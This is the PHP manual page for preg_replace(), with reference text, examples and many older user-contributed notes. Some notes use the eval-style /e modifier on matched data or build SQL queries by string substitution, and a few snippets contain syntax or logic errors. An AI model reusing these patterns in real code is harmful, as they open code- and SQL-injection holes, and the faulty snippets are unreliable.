When using the e modifier, this function escapes some characters (namely ', ", \ and NULL) in the strings that replace the backreferences. This is done to ensure that no syntax errors arise from backreference usage with either single or double quotes (e.g. 'strlen(\'$1\')+strlen("$2")'). Make sure you are aware of PHP's string syntax to know exactly how the interpreted string will look.

subject

The string or an array with strings to search and replace.

If subject is an array, then the search and replace is performed on every entry of subject, and the return value is an array as well.

limit

The maximum possible replacements for each pattern in each subject string. Defaults to -1 (no limit).

count

If specified, this variable will be filled with the number of replacements done.

Return Values

preg_replace() returns an array if the subject parameter is an array, or a string otherwise.

If matches are found, the new subject will be returned, otherwise subject will be returned unchanged or NULL if an error occurred.

Changelog

Version | Description
5.1.0 | Added the count parameter
4.0.4 | Added the '$n' form for the replacement parameter
4.0.2 | Added the limit parameter

Examples

Example #1 Using backreferences followed by numeric literals

<?php
$string = 'April 15, 2003';
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = '${1}1,$3';
echo preg_replace($pattern, $replacement, $string);
?>

The above example will output:

April1,2003

Example #2 Using indexed arrays with preg_replace()

<?php
$string = 'The quick brown fox jumped over the lazy dog.';
$patterns = array();
$patterns[0] = '/quick/';
$patterns[1] = '/brown/';
$patterns[2] = '/fox/';
$replacements = array();
$replacements[2] = 'bear';
$replacements[1] = 'black';
$replacements[0] = 'slow';
echo preg_replace($patterns, $replacements, $string);
?>

The above example will output:

The bear black slow jumped over the lazy dog.

By ksorting patterns and replacements, we should get what we wanted.

<?php
ksort($patterns);
ksort($replacements);
echo preg_replace($patterns, $replacements, $string);
?>

The above example will output:

The slow black bear jumped over the lazy dog.

Example #3 Replacing several values

<?php
$patterns = array ('/(19|20)(\d{2})-(\d{1,2})-(\d{1,2})/',
                   '/^\s*{(\w+)}\s*=/');
$replace = array ('\3/\4/\1\2', '$\1 =');
echo preg_replace($patterns, $replace, '{startDate} = 1999-5-27');
?>

The above example will output:

$startDate = 5/27/1999

Example #4 Strip whitespace

This example strips excess whitespace from a string.

<?php
$str = 'foo   o';
$str = preg_replace('/\s\s+/', ' ', $str);
// This will be 'foo o' now
echo $str;
?>

Example #5 Using the count parameter

<?php
$count = 0;

echo preg_replace(array('/\d/', '/\s/'), '*', 'xp 4 to', -1 , $count);
echo $count; //3
?>

The above example will output:

xp***to
3

Notes

Note:

When using arrays with pattern and replacement, the keys are processed in the order they appear in the array. This is not necessarily the same as the numerical index order. If you use indexes to identify which pattern should be replaced by which replacement, you should perform a ksort() on each array prior to calling preg_replace().

See Also

  • PCRE Patterns
  • preg_filter() - Perform a regular expression search and replace
  • preg_match() - Perform a regular expression match
  • preg_replace_callback() - Perform a regular expression search and replace using a callback
  • preg_split() - Split string by a regular expression
  • preg_last_error() - Returns the error code of the last PCRE regex execution

User Contributed Notes

hvishnu999 at gmail dot com 08-Jan-2012 06:25
To covert a string to SEO friendly, do this:

<?php
$realname = "This is the string to be made SEO friendly!"

$seoname = preg_replace('/\%/',' percentage',$realname);
$seoname = preg_replace('/\@/',' at ',$seoname);
$seoname = preg_replace('/\&/',' and ',$seoname);
$seoname = preg_replace('/\s[\s]+/','-',$seoname);    // Strip off multiple spaces
$seoname = preg_replace('/[\s\W]+/','-',$seoname);    // Strip off spaces and non-alpha-numeric
$seoname = preg_replace('/^[\-]+/','',$seoname); // Strip off the starting hyphens
$seoname = preg_replace('/[\-]+$/','',$seoname); // // Strip off the ending hyphens
$seoname = strtolower($seoname);

echo $seoname;
?>

This will print: this-is-the-string-to-be-made-seo-friendly
support ~ at ~ mbnad ~ dot ~ com 02-Jan-2012 05:47
Wrong number of letters in words and how solve this problem and also remove extra spaces in a row:

<?php
$message_body = 'HHHHHEEEEELLLLLOOOOO             IAM COOOOOOOOOOOOOOOOOOOL      !!!!!!!!!!';
echo "\n".$message_body."\n";
$message_body = preg_replace('~(.?)\1{3,}~', '$1', $message_body);
$message_body = preg_replace('~\s+~', ' ', trim($message_body));
echo "\n".$message_body."\n\n";
?>
denis_truffaut a t hotmail d o t com 23-Dec-2011 05:11
If you want to catch characters, as well european, russian, chinese, japanese, korean of whatever, just :
- use mb_internal_encoding('UTF-8');
- use preg_replace('`...`u', '...', $string) with the u (unicode) modifier

For further information, the complete list of preg_* modifiers could be found at :
http://php.net/manual/en/reference.pcre.pattern.modifiers.php
akarmenia at gmail dot com 22-Oct-2011 11:47
[Editor's note: in this case it would be wise to rely on the preg_quote() function instead which was added for this specific purpose]

If your replacement string has a dollar sign or a backslash. it may turn into a backreference accidentally! This will fix it.

I want to replace 'text' with '$12345' but this becomes a backreference to $12 (which doesn't exist) and then it prints the remaining '34'. The function down below will return a string that escapes the backreferences.

OUTPUT:
string(8) "some 345"
string(11) "some \12345"
string(8) "some 345"
string(11) "some $12345"

<?php

$a = 'some text';

// Either of these will backreference and fail
$b1 = '\12345'; // Should be '\\12345' to avoid backreference
$b2 = '$12345'; // Should be '\$12345' to avoid backreference

$d = array($b1, $b2);

foreach ($d as $b) {
    $result1 = preg_replace('#(text)#', $b, $a); // Fails
    var_dump($result1);
    $result2 = preg_replace('#(text)#', preg_escape_back($b), $a); // Succeeds
    var_dump($result2);
}

// Escape backreferences from string for use with regex
function preg_escape_back($string) {
    // Replace $ with \$ and \ with \\
    $string = preg_replace('#(?<!\\\\)(\\$|\\\\)#', '\\\\$1', $string);
    return $string;
}

?>
randall dot reynolds at rightnow dot com 27-Sep-2011 05:01
The instructions say, use \\\\ (four backslashes) to represent a backslash.  You can shorthand this and use \\\ (three backslashes) to represent a backslash, because of the way the parsers read it.

It appears the double escaping is required because the string is parsed twice, once by PHP and once by the regular expression generator. Thus it is expected that the PHP parser turns both instances above into \\ (two backslashes) for the PCRE parser.
erik dot stetina at gmail dot com 27-Sep-2011 03:25
simple function to remove comments from string

<?php
function remove_comments( & $string )
{
  $string = preg_replace("%(#|;|(//)).*%","",$string);
  $string = preg_replace("%/\*(?:(?!\*/).)*\*/%s","",$string); // google for negative lookahead
  return $string;
}
?>

USAGE:
<?php
$config = file_get_contents("config.cfg");
print "before:".$config;
remove_comments($config);
print "after:".$config;
?>

OUTPUT:
before:
/*
 *  this is config file
 */
; logdir
LOGDIR ./log/
// logfile
LOGFILE main.log
# loglevel
LOGLEVEL 3
after:

LOGDIR ./log/

LOGFILE main.log

LOGLEVEL 3
kosalasl at gmail dot com 22-Aug-2011 09:03
I wrote some useful function to display date format based on date function particular string. preg_replace function really help me to write this tiny code

<?php
function mysql2formatDate($strn,$outformat='n/j/Y'){

    return preg_replace("/(\d{4})-(\d{2})-(\d{2})/e","Date('$outformat',strtotime('$0'))",$strn);
}
?>
timitheenchanter 28-Jul-2011 01:34
If you have issues where preg_replace returns an empty string, please take a look at these two ini parameters:

pcre.backtrack_limit
pcre.recursion_limit

The default is set to 100K.  If your buffer is larger than this, look to increase these two values.
sreekanth at outsource-online dot net 19-Jul-2011 01:29
if your intention to code and decode mod_rewrite urls and handle it with php and mysql ,this should work

to convert to url
$url = preg_replace('/[^A-Za-z0-9_-]+/', '-', $string);

And to check in mysql with the url value,use the same expression discounting '-'.
first replace the url value  with php using preg_replace  and use with mysql REGEXP

$sql = "select * from table where fieldname_to_check REGEXP '".preg_replace("/-+/",'[^A-Za-z0-9_]+',$url)."'"
sjoerd.linders 04-Jul-2011 03:36
If u want to clean a string to pure ascii[0-126] use the following regulare expression:

<?php
$AsciiData = preg_replace( '/[\x7f-\xff]/', '', $DurtyData );
?>
sjoerd.linders 04-Jul-2011 03:30
If u want to clean a string to pure ascii[0-126] use the following regulare expression:

<?php $AsciiData = preg_replace( '/[\x7f-\xff]/', '', $DurtyData ); ?>
anyvie at devlibre dot fr 17-Jun-2011 02:11
A variable can handle a huge quantity of data but preg_replace can't.

Example :
<?php
$url = "ANY URL WITH LOTS OF DATA";

// We get all the data into $data
$data = file_get_contents($url);

// We just want to keep the content of <head>
$head = preg_replace("#(.*)<head>(.*?)</head>(.*)#is", '$2', $data);
?>

$head can have the desired content, or be empty, depends on the length of $data.

For this application, just add :
$data = substr($data, 0, 4096);
before using preg_replace, and it will work fine.
someuser at dot dot com 08-Jun-2011 04:10
Replacement of line numbers, with replacement limit per line.

Solution that worked for me.
I have a file with tasks listed each starting from number, and only starting number should be removed because forth going text has piles of numbers to be omitted.

56 Patient A of 46 years suffering ... ...
57 Newborn of 26 weeks was ...
58 Jane, having age 18 years recollects onsets of ...
...
587 Patient of 70 years ...

etc.

<?php
// Array obtained from file
$array = file($file, true);

// Decompile array with foreach loop
foreach($array as $value)
{
    //    Take away numbers 100-999
    //    Starting from biggest
    //
    //    %            Delimiter
    //    ^            Make match from beginning of line
    //    [0-9]        Range of numbers
    //    {3}        Multiplication of digit range (For tree digit numbers)
    //
    if(preg_match('%^[0-9]{3}%', $value))
    {
        // Re-assing to value its modified copy
        $value = preg_replace('%^[0-9]{3}%', '-HERE WAS XXX NUMBER-', $value, 1);
    }

    // Take away numbers 10-99
    elseif(preg_match('%^[0-9]{2}%', $value)) {
        $value = preg_replace('%^[0-9]{2}%', '-HERE WAS XX NUMBER-', $value, 1);
    }

    // Take away numbers 0-9
    elseif(preg_match('%^[0-9]%', $value)) {
        $value = preg_replace('%^[0-9]%', '-HERE WAS X NUMBER-', $value, 1);
    }

    // Build array back
    $arr[] = array($value);

    }
}
?>
craiga at craiga dot id dot au 15-May-2011 07:02
If there's a chance your replacement text contains any strings such as "$0.95", you'll need to escape those $n backreferences:

<?php
function escape_backreference($x)
{
    return preg_replace('/\$(\d)/', '\\\$$1', $x);
}
?>
Sam 11-May-2011 07:51
To remove extra spaces, I prefer
<?php
$str = preg_replace("'\s+'", ' ', $str);
?>
as this will convert ALL whitespace to a single space, including lone \t and \n
php at example dot com 21-Apr-2011 09:07
Note that strange behavior of preg_replace when using backslashes in your $replacement, to avoid SQL-Injection:

<?php
// string '\\\"' (length=4) - correct result
str_replace("foo", mysql_real_escape_string('\"'), 'foo');

// string '\\"' (length=3) - one slash missing
preg_replace("~foo~", mysql_real_escape_string('\"'), 'foo');

// string '\\\\"' (length=5) - escaped backslashes, now have too much
preg_replace("~foo~", addslashes(mysql_real_escape_string('\"')), 'foo');

// string '\.\.\"' (length=6) - '\\.\\.\"' has the same backslash count as mysql_real_escape_string('\"') but after replacement, they are different
preg_replace("~foo~", '\\.\\.\"', 'foo');
?>
me at perochak dot com 22-Feb-2011 09:57
If you would like to remove a tag along with the text inside it then use the following code.

<?php
preg_replace('/(<tag>.+?)+(<\/tag>)/i', '', $string);
?>

example
<?php $string='<span class="normalprice">55 PKR</span>'; ?>

<?php
$string = preg_replace('/(<span class="normalprice">.+?)+(<\/span>)/i', '', $string);
?>

This will results a null or empty string.

<?php
$string='My String <span class="normalprice">55 PKR</span>';

$string = preg_replace('/(<span class="normalprice">.+?)+(<\/span>)/i', '', $string);
?>

This will results a " My String"
nospam at probackup dot nl 19-Jan-2011 05:03
Warning: a common made mistake in trying to remove all characters except numbers and letters from a string, is to use code with a regex similar to preg_replace('[^A-Za-z0-9_]', '', ...). The output goes in an unexpected direction in case your input contains two double quotes.

echo preg_replace('[^A-Za-z0-9_]', '', 'D"usseldorfer H"auptstrasse')

D"usseldorfer H"auptstrasse

It is important to not forget a leading an trailing forward slash in the regex:

echo preg_replace('/[^A-Za-z0-9_]/', '', 'D"usseldorfer H"auptstrasse')

Dusseldorfer Hauptstrasse

PS An alternative is to use preg_replace('/\W/', '', $t) for keeping all alpha numeric characters including underscores.
highlighter 12-Jan-2011 08:37
Accent independent highlighting of text, UTF-8 safe:
<?php
function prepare_search_term($str,$delim='#') {
    $search = preg_quote($str,$delim);

    $search = preg_replace('/[aàáâãåäæ]/iu', '[aàáâãåäæ]', $search);
    $search = preg_replace('/[eèéêë]/iu', '[eèéêë]', $search);
    $search = preg_replace('/[iìíîï]/iu', '[iìíîï]', $search);
    $search = preg_replace('/[oòóôõöø]/iu', '[oòóôõöø]', $search);
    $search = preg_replace('/[uùúûü]/iu', '[uùúûü]', $search);
    // add more characters...

    return $search;
}

function highlight($searchtext, $text) {
    $search = prepare_search_term($searchtext);
    return preg_replace('#' . $search . '#iu', '<span style="background-color:red">$0</span>', $text);
}

$testtext = 'cafe cáfé càfè CAFE CÁFÉ CÀFÈ càfé cáfè CÀFÉ CÁFÈ';
echo highlight('cafe',$testtext) . '<br />';
echo highlight('cáfé',$testtext) . '<br />';
echo highlight('CAFE',$testtext) . '<br />';
echo highlight('CÀFÉ',$testtext) . '<br />';
?>

This function finds and highlights all words in $testtext with (e.g.) every single word in $testtext as input. Useful if you retrieved a text from a MySQL database and want to highlight the search term accent-independently.
The main trick is in "prepare_search_term": Every single character of the search pattern (1st parameter of preg_replace) in the search term is replaced by the whole string in the 2nd parameter, which then in function "highlight" acts as the search pattern for replacement there. Hope you find this useful.
easai 21-Dec-2010 10:40
To extract hiragana, katakana, kanji portion of a Japanese text, explicity set the unicode range AND specify u modifier for the pattern.

<?php

echo "Hiragana -- ";
$pattern ='/[^\x{3040}-\x{309F}]+/u';
$s=preg_replace($pattern,"",$str);
echo $s."<br />";

echo "Katakana -- ";
$pattern ='/[^\x{30A0}-\x{30FF}]+/u';
$s=preg_replace($pattern,"",$str);
echo $s."<br />";

echo "Kanji -- ";
$pattern ='/[^\x{4E00}-\x{9FBF}]+/u';
$s=preg_replace($pattern,"",$str);
echo $s."<br />";

?>
Meisam Mulla 09-Dec-2010 09:38
I needed a function that validated phone numbers provided by a user and if necessary arrange the numbers in this format 555-555-5555. I couldn't find anything so I just wrote one

<?php
function checkPhone($number)
{
    if(preg_match('^[0-9]{3}+-[0-9]{3}+-[0-9]{4}^', $number)){
        return $number;
    } else {
        $items = Array('/\ /', '/\+/', '/\-/', '/\./', '/\,/', '/\(/', '/\)/', '/[a-zA-Z]/');
        $clean = preg_replace($items, '', $number);
        return substr($clean, 0, 3).'-'.substr($clean, 3, 3).'-'.substr($clean, 6, 4);
    }
}
?>
ude dot mpco at wotsrabt dot maps-on 08-Dec-2010 10:30
I find it useful to output HTML form names to the user from time to time while going through the $_GET or $_POST on a user's submission and output keys of the GET or POST array... the only problem being in the name attribute I follow common programming guidelines and have names like the following: eventDate, eventTime, userEmail, etc. Not great to just output to the user-- so I came up with this function. It just adds a space before any uppercase letter in the string.

<?php
function caseSwitchToSpaces( $stringVariableName )
{

$pattern = '/([A-Z])/';
$replacement = ' ${1}';

return preg_replace( $pattern, $replacement, $stringVariableName );
}

//ex.
echo( caseSwitchToSpaces( "helloWorld" ) );
?>

would output:

"hello World"

You could also do title-style casing to it if desired so the first word isn't lowercase.
contact at tothepointsolution dot com 05-Dec-2010 10:51
Just something to have in mind...

When using preg_replace, have in mind that variables are calculated. There is no warning issued if the variable is not defined, even when error reporting is set to  E_ALL ^ E_STRICT

As you can see from the below example:

<?php
$text = 'The price is PRICE ';

$lookFor = 'PRICE';
$replacement = '$100';

echo $replacement.'<br />';
//will display
//$100

echo preg_replace('/'.$lookFor.'/', $replacement, $text).'<br />';
//Will display
//The price is 0

echo str_replace($lookFor, $replacement, $text).'<br />';
//Will display
//The price is $100
?>
Terminux (dot) anonymous at gmail 03-Dec-2010 09:58
This function will strip all the HTML-like content in a string.
I know you can find a lot of similar content on the web, but this one is simple, fast and robust. Don't simply use the built-in functions like strip_tags(), they dont work so good.

Careful however, this is not a correct validation of a string ; you should use additional functions like mysql_real_escape_string and filter_var, as well as custom tests before putting a submission into your database.

<?php

$html = <<<END
<div id="function.preg-split" class="refentry"> Bonjour1 \t
<div class="refnamediv"> Bonjour2 \t
<h1 class="refname">Bonjour3 \t</h1>
<h1 class=""">Bonjour4 \t</h1>
<h1 class="*%1">Bonjour5 \t</h1>
<body>Bonjour6 \t<//body>>
</ body>Bonjour7 \t<////        body>>
<
a href="image.php" alt="trans" /        >
some leftover text...
     < DIV class=noCompliant style = "text-align:left;" >
... and some other ...
< dIv > < empty>  </ empty>
  <p> This is yet another text <br  >
     that wasn't <b>compliant</b> too... <br   />
     </p>
 <div class="noClass" > this one is better but we don't care anyway </div ><P>
    <input   type= "text"  name ='my "name' value  = "nothin really." readonly>
end of paragraph </p> </Div>   </div>   some trailing text
END;

// This echoes correctly all the text that is not inside HTML tags
$html_reg = '/<+\s*\/*\s*([A-Z][A-Z0-9]*)\b[^>]*\/*\s*>+/i';
echo htmlentities( preg_replace( $html_reg, '', $html ) );

// This extracts only a small portion of the text
echo htmlentities(strip_tags($html));

?>
arthur at kuhrmeier dot name 30-Sep-2010 02:38
I needed a function to convert short color notations (e.g. #3a0) to the long version (i.e. #33aa00). As I didn't find one, I immersed into unfamiliar territory: PCRE. But after some trials and errors, I managed to write a function that doubles all hex characters and drops any other.

<?php
function colorlong ($color) {
    return preg_replace ("/(?(?=[^0-9a-f])[^.]|(.))/i", '$1$1', $color);
}

//--- some examples ---
echo colorlong ('d08');  //--- dd0088 ---
echo colorlong ('bad beer');  //--- bbaaddbbeeee ---
echo colorlong ('nothing');  //--- yep, nothing ;-) ---
echo colorlong ('E6f');  //--- EE66ff: case is not changed ---

?>
rysiek at fwioo dot pl 21-Sep-2010 05:03
doesn't seem like preg_replace() supports named subpatterns - i.e. '(?P<name>\w+)' - which would be a godsent in a multitude of situations...
AmigoJack 10-Jul-2010 06:13
If you're using preg_replace() on huge strings you have to be aware of PREG's limitations. In fact, after each preg_xxx() function you should check if PREG internally failed (and by "failure" I don't mean regexp syntax errors).

On default PHP installations you will run into problems when using preg_xxx() functions on strings with a length of more than 100'000 characters. To workaround rare occasions you can use this:

<?php
    $iSet= 0;  // Count how many times we increase the limit
    while( $iSet< 10 ) {  // If the default limit is 100'000 characters the highest new limit will be 250'000 characters
        $sNewText= preg_replace( $sRegExpPattern, $sRegExpReplacement, $sVeryLongText );  // Try to use PREG

        if( preg_last_error()== PREG_BACKTRACK_LIMIT_ERROR ) {  // Only check on backtrack limit failure
            ini_set( 'pcre.backtrack_limit', (int)ini_get( 'pcre.backtrack_limit' )+ 15000 );  // Get current limit and increase
            $iSet++;  // Do not overkill the server
        } else {  // No fail
            $sVeryLongText= $sNewText;  // On failure $sNewText would be NULL
            break;  // Exit loop
        }
    }
?>

However, be careful: 1.) ini_set() may be forbidden on your server; 2.) preg_last_error() doest not exist prior to PHP 5.2.0; 3.) setting a backtrack limit too high may crash PHP (not only the script currently executed). So if you work a lot with long strings you definitly have to look out for a real solution!

See also natedubya's comment (02-Oct-2009 04:08).
matt at mattjanssen dot com 24-Jun-2010 09:56
To mask credit cards using a single regexp expression (keeping the first and last four digits):

preg_replace('/(?!^.?)[0-9](?!(.){0,3}$)/', '*', '3456-7890-1234-5678')

Keep the FIRST CHARACTER, the LAST FOUR CHARACTER, and any NON-NUMERIC CHARACTERS in-between. Mask (*) everything else.

"3456-7890-1234-5678" = "3***-****-****-5678"
"4567890123456789" = "4***********6789"
"4928-abcd9012-3456" = "4***-abcd****-3456"
"498291842" = "4****1842"

If the regular expression is a bit confusing, (?!) is a "look-ahead not-equals", meaning make sure this does NOT come before or next, but leave it alone.
bvandale at hotmail dot com 04-Jun-2010 09:47
I needed a regular expression to remove php tags when importing legacy content.  From the comments on this page I arrived at this:

<\?(php)?[\n\s\r]*.*[\n\s\r]*\?>

Worked like a beaut.
mbernard dot webdeveloper at gmail dot com 06-Apr-2010 08:30
For those who simply want to convert a date from US format (YYYY/MM/DD) to French format (DD/MM/YYYY), here is a useful function :

<?php
function date2fr($date) {
    return preg_replace(
        "/([0-9]{4})\/([0-9]{2})\/([0-9]{2})/i",
        "$3/$2/$1",
        $date
    );
}

function date2us($date) {
    return preg_replace(
        "/([0-9]{2})\/([0-9]{2})\/([0-9]{4})/i",
        "$3/$2/$1",
        $date
    );
}
?>
Anonymous 21-Mar-2010 08:35
Another easy way to extract the width and the height of getimagesize();

<?php

$image = getimagesize($params['tmp_name']);
$pattern = '/^width=\"(?P<width>\d+)\" height=\"(?P<height>\d+)\"$/';

preg_match($pattern, $image[3], $matches);

?>

This will return the needed values to the $matches array.
(e.g. $matches['width'] and $matches['height'];)

Hope this helps :)

NOTE: I had to change \s with a space in the regular expression because I kept getting the following error:
"Your note contains a bit of text that will result in a line that is too long, even after using wordwrap()."
tom dot h dot anderson at gmail dot com 18-Mar-2010 02:50
A utf-8 safe way to remove accents:

<?php
/**
 * UTF-8 Normalization of ASCII extended characters
 */
#require_once 'utf8.inc'; # http://hsivonen.iki.fi/php-utf8/
function normalize($string) {
    $ext = array(192, 193, 194, 195, 196, 197, 224, 225, 226, 227, 228, 229, 199, 231, 200, 201, 202, 203, 232, 233, 234, 235, 204, 205, 206, 207, 236, 237, 238, 239, 210, 211, 212, 213, 214, 216, 242, 243, 244, 245, 246, 248, 209, 241, 217, 218, 219, 220, 249, 250, 251, 252, 221, 255, 253);

    $norm = array(65, 65, 65, 65, 65, 65, 97, 97, 97, 97, 97, 97, 67, 99, 69, 69, 69, 69, 101, 101, 101, 101, 73, 73, 73, 73, 105, 105, 105, 105, 79, 79, 79, 79, 79, 79, 111, 111, 111, 111, 111, 111, 78, 110, 85, 85, 85, 85, 117, 117, 117, 117, 89, 121, 121);

    $string = db_UTF8::utf8tounicode($string);
    // Using array insersect is slower
    foreach ($ext as $k => $e) {
        if ($pos = array_search($e, $string)) {
            $string[$pos] = $norm[$k];
        }
    }
    $string = db_UTF8::unicodetoutf8($string);
    return $string;
}
sergei dot garrison at gmail dot com 09-Mar-2010 01:40
If you want to add simple rich text functionality to HTML input fields, preg_replace can be quite handy.

For example, if you want users to be able to bold text by typing *text* or italicize it by typing _text_, you can use the following function.

<?php
function encode(&$text) {
    $text = preg_replace('/\*([^\*]+)\*/', '<b>\1</b>', $text);
    $text = preg_replace('/_([^_]+)_/', '<i>\1</i>', $text);
    return $text;
    }
?>

This works for nested tags, too, although it will not fix nesting mistakes.

To make this function more efficient, you could put the delimiters (* and _, in this case) and their HTML tag equivalents in an array and loop through them.
hello at weblap dot ro 06-Mar-2010 04:10
Post slug generator, for creating clean urls from titles.
It works with many languages.

<?php
function remove_accent($str)
{
  $a = array('À', 'Á', 'Â', 'Ã', 'Ä', 'Å', 'Æ', 'Ç', 'È', 'É', 'Ê', 'Ë', 'Ì', 'Í', 'Î', 'Ï', 'Ð', 'Ñ', 'Ò', 'Ó', 'Ô', 'Õ', 'Ö', 'Ø', 'Ù', 'Ú', 'Û', 'Ü', 'Ý', 'ß', 'à', 'á', 'â', 'ã', 'ä', 'å', 'æ', 'ç', 'è', 'é', 'ê', 'ë', 'ì', 'í', 'î', 'ï', 'ñ', 'ò', 'ó', 'ô', 'õ', 'ö', 'ø', 'ù', 'ú', 'û', 'ü', 'ý', 'ÿ', 'Ā', 'ā', 'Ă', 'ă', 'Ą', 'ą', 'Ć', 'ć', 'Ĉ', 'ĉ', 'Ċ', 'ċ', 'Č', 'č', 'Ď', 'ď', 'Đ', 'đ', 'Ē', 'ē', 'Ĕ', 'ĕ', 'Ė', 'ė', 'Ę', 'ę', 'Ě', 'ě', 'Ĝ', 'ĝ', 'Ğ', 'ğ', 'Ġ', 'ġ', 'Ģ', 'ģ', 'Ĥ', 'ĥ', 'Ħ', 'ħ', 'Ĩ', 'ĩ', 'Ī', 'ī', 'Ĭ', 'ĭ', 'Į', 'į', 'İ', 'ı', 'Ĳ', 'ĳ', 'Ĵ', 'ĵ', 'Ķ', 'ķ', 'Ĺ', 'ĺ', 'Ļ', 'ļ', 'Ľ', 'ľ', 'Ŀ', 'ŀ', 'Ł', 'ł', 'Ń', 'ń', 'Ņ', 'ņ', 'Ň', 'ň', 'ŉ', 'Ō', 'ō', 'Ŏ', 'ŏ', 'Ő', 'ő', 'Œ', 'œ', 'Ŕ', 'ŕ', 'Ŗ', 'ŗ', 'Ř', 'ř', 'Ś', 'ś', 'Ŝ', 'ŝ', 'Ş', 'ş', 'Š', 'š', 'Ţ', 'ţ', 'Ť', 'ť', 'Ŧ', 'ŧ', 'Ũ', 'ũ', 'Ū', 'ū', 'Ŭ', 'ŭ', 'Ů', 'ů', 'Ű', 'ű', 'Ų', 'ų', 'Ŵ', 'ŵ', 'Ŷ', 'ŷ', 'Ÿ', 'Ź', 'ź', 'Ż', 'ż', 'Ž', 'ž', 'ſ', 'ƒ', 'Ơ', 'ơ', 'Ư', 'ư', 'Ǎ', 'ǎ', 'Ǐ', 'ǐ', 'Ǒ', 'ǒ', 'Ǔ', 'ǔ', 'Ǖ', 'ǖ', 'Ǘ', 'ǘ', 'Ǚ', 'ǚ', 'Ǜ', 'ǜ', 'Ǻ', 'ǻ', 'Ǽ', 'ǽ', 'Ǿ', 'ǿ');
  $b = array('A', 'A', 'A', 'A', 'A', 'A', 'AE', 'C', 'E', 'E', 'E', 'E', 'I', 'I', 'I', 'I', 'D', 'N', 'O', 'O', 'O', 'O', 'O', 'O', 'U', 'U', 'U', 'U', 'Y', 's', 'a', 'a', 'a', 'a', 'a', 'a', 'ae', 'c', 'e', 'e', 'e', 'e', 'i', 'i', 'i', 'i', 'n', 'o', 'o', 'o', 'o', 'o', 'o', 'u', 'u', 'u', 'u', 'y', 'y', 'A', 'a', 'A', 'a', 'A', 'a', 'C', 'c', 'C', 'c', 'C', 'c', 'C', 'c', 'D', 'd', 'D', 'd', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'G', 'g', 'G', 'g', 'G', 'g', 'G', 'g', 'H', 'h', 'H', 'h', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'IJ', 'ij', 'J', 'j', 'K', 'k', 'L', 'l', 'L', 'l', 'L', 'l', 'L', 'l', 'l', 'l', 'N', 'n', 'N', 'n', 'N', 'n', 'n', 'O', 'o', 'O', 'o', 'O', 'o', 'OE', 'oe', 'R', 'r', 'R', 'r', 'R', 'r', 'S', 's', 'S', 's', 'S', 's', 'S', 's', 'T', 't', 'T', 't', 'T', 't', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'W', 'w', 'Y', 'y', 'Y', 'Z', 'z', 'Z', 'z', 'Z', 'z', 's', 'f', 'O', 'o', 'U', 'u', 'A', 'a', 'I', 'i', 'O', 'o', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'A', 'a', 'AE', 'ae', 'O', 'o');
  return str_replace($a, $b, $str);
}

function post_slug($str)
{
  return strtolower(preg_replace(array('/[^a-zA-Z0-9 -]/', '/[ -]+/', '/^-|-$/'),
  array('', '-', ''), remove_accent($str)));
}
?>

Example: post_slug(' -Lo#&@rem  IPSUM //dolor-/sit - amet-/-consectetur! 12 -- ')
will output: lorem-ipsum-dolor-sit-amet-consectetur-12
roscoe-p-coltrane 27-Feb-2010 10:43
Reading arguments against variables in CSS got me to thinking.

Process your CSS files in a fashion similar to the following. This particular routine is certainly not the most efficient way, but is what I came up with on the spur of the moment. The prefix token is entirely arbitrary - everything between the leading colon and terminating semicolon is the target. In this way, default values can be put in place, and the constant identifiers simply left as comments, should the stylesheet be used without processing; this would also inhibit your editor from emitting errors about your odd syntax. The declaration pattern at the top assumes something like this:

/*@css_const
 [
     bgc_a=#ccccee,
        fc_a=#000099,
     bgc_b=#5555cc,
     bgc_c=#eeeeff,
     bgc_d=#599fee
 ]
*/

...within the target CSS file.

Usage like so:

.Element {
     font-size:10pt;
     color:#000/*fc_a*/;
     background-color:#fff/*bgc_a*/;
}

And then...

<?php
$dec_pat = '/^\/\*\@css_const\s+\[(.*)\]\s+\*\//Ums';
preg_match_all($dec_pat,$css,$m);
$lhs = array();
$rhs = array();
foreach($m[1] as &$p) {
    $p = explode(",",$p);
    foreach($p as &$q) {
        list($k,$v) = explode("=",trim($q));
        $lhs[] = '/(\w+\:).*\/\*' . $k . '\*\/;$/Um';
        $rhs[] = '\1' . $v . ';';
    }
}
$css = preg_replace($lhs,$rhs,$css);
// spit it out or return it; whatever
?>

...resulting, of course, in:

.Element {
     font-size:10pt;
     color:#000099;
     background-color:#ccccee;
}

Again, efficiency was not the immediate goal, so please don't slay me...
jjorgenson at wilanddirect dot dot dot com 19-Feb-2010 03:34
I like using canned SQL queries, where specific values and/or field names are separate in some array.  However the %s place-holders of 'printf()' were tedious and error prone because of sequence dependency.  By using 'tag' replacement ( a word having some delimiter(s) around it ) and an associative array, I was able to disconnect the canned query from the data in the array.

ex:
old style:
<?php
    $sql = "SELECT %s FROM %s WHERE %s = %s";
    printf($sql, data["my_field"], data["table_name"], data["my_field"], data["field_value"] );
?>

new style:
<?php
     $sql = "SELECT <my_field> FROM <table_name> FROM <my_field> = <field_value> ";
     $outsql = preg_replace("/<(\w\+)>/e","$data[\"$1\"]", $sql );
?>
     NOTE the preg_replace could be optimized to use an annonymous function instead of a "/e" eval of the parm2 expression.

Take this a step further...
Setup your associative array to contain the output from some previous SQL, and the canned SQLs to reference the fields of other queries.  You can then chain your queries where the results of one feeds another.

Hope this helps someone.

-- jj --
Metal Developer 19-Jan-2010 09:58
This simple pattern will convert images EXIF Datetime (eg. "2009:04:26 05:09:47") to MySQL Datetime (eg. "2009-04-26 05:09:47") only with one line of code.
<?php
$mysql_datetime = preg_replace('/(\d{2}):(\d{2}):(\d{2})(.*)/', '$1-$2-$3 $4', $exif_datetime);
?>
info AT photosillusions DOT com 21-Dec-2009 12:03
Bonjour, voici ce qui pourrait aider certain avec cette fonction.
Les / simple ne sont pas détecté.

Hi, There is a simple code I've found to help others.
The simple / are not detected.

mauvais code (code false) :
$contents = preg_replace("/##/MENUG##/","MENU GAUCHE",$contents);

Vous obtenez le message suivant :
You obtain this warning :

Warning: preg_replace() [function.preg-replace]: Unknown modifier 'M' in systeme.php on line 56

Vous remplacez les / par des -. Ce qui est passable et fonctionne bien.

You replace / by - . This work good !
Bon code (good code) :
$contents = preg_replace("-##/MENUG##-","MENU GAUCHE",$contents);

